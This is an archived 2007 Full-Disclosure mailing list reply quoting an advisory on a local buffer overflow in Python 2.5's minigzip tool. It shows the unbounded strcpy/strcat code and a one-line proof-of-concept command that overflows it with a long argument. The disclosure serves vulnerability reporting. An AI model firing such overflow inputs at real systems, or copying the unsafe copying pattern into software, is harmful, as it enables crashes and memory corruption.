full-disclosure - Re: Python 2.5 (Modules/zlib) minigzip local buffer overflow vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <8a6b8e350703141926h17f6be53kac622b87da688856@mail.gmail.com>
Date: Wed, 14 Mar 2007 22:26:29 -0400
From: "James Matthews" <nytrokiss@...il.com>
To: "starcadi starcadi" <starcadi@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Python 2.5 (Modules/zlib) minigzip local
	buffer overflow vulnerability

and you would think some bugs we got rid of in open source software!

On 3/14/07, starcadi starcadi <starcadi@...il.com> wrote:
>
> Description:
>
> The source of python contain a various modules, the zlib module contain a
> minigzip tool, ( * minigzip is a minimal implementation of the gzip
> utility. ).
>
> Source error:
>
> the error was found in:
> - void file_compress(file, mode)
> because the use of strcpy() is inapropriatly
>
> --
> #define MAX_NAME_LEN 1024
> [..]
> void file_compress(file, mode)
>     char  *file;
>     char  *mode;
> {
>     local char outfile[MAX_NAME_LEN];
>     FILE  *in;
>     gzFile out;
>
>     strcpy(outfile, file);
>     strcat(outfile, GZ_SUFFIX);
> --
>
> the function file_compress() was called by main() function.
>
> Proof of concept:
>
> if you want test the vulnerability try:
> $ minigzip `perl -e "print 'A'x1050"`
>
> -- starcadi
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
http://www.goldwatches.com/watches.asp?Brand=39
http://www.wazoozle.com

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/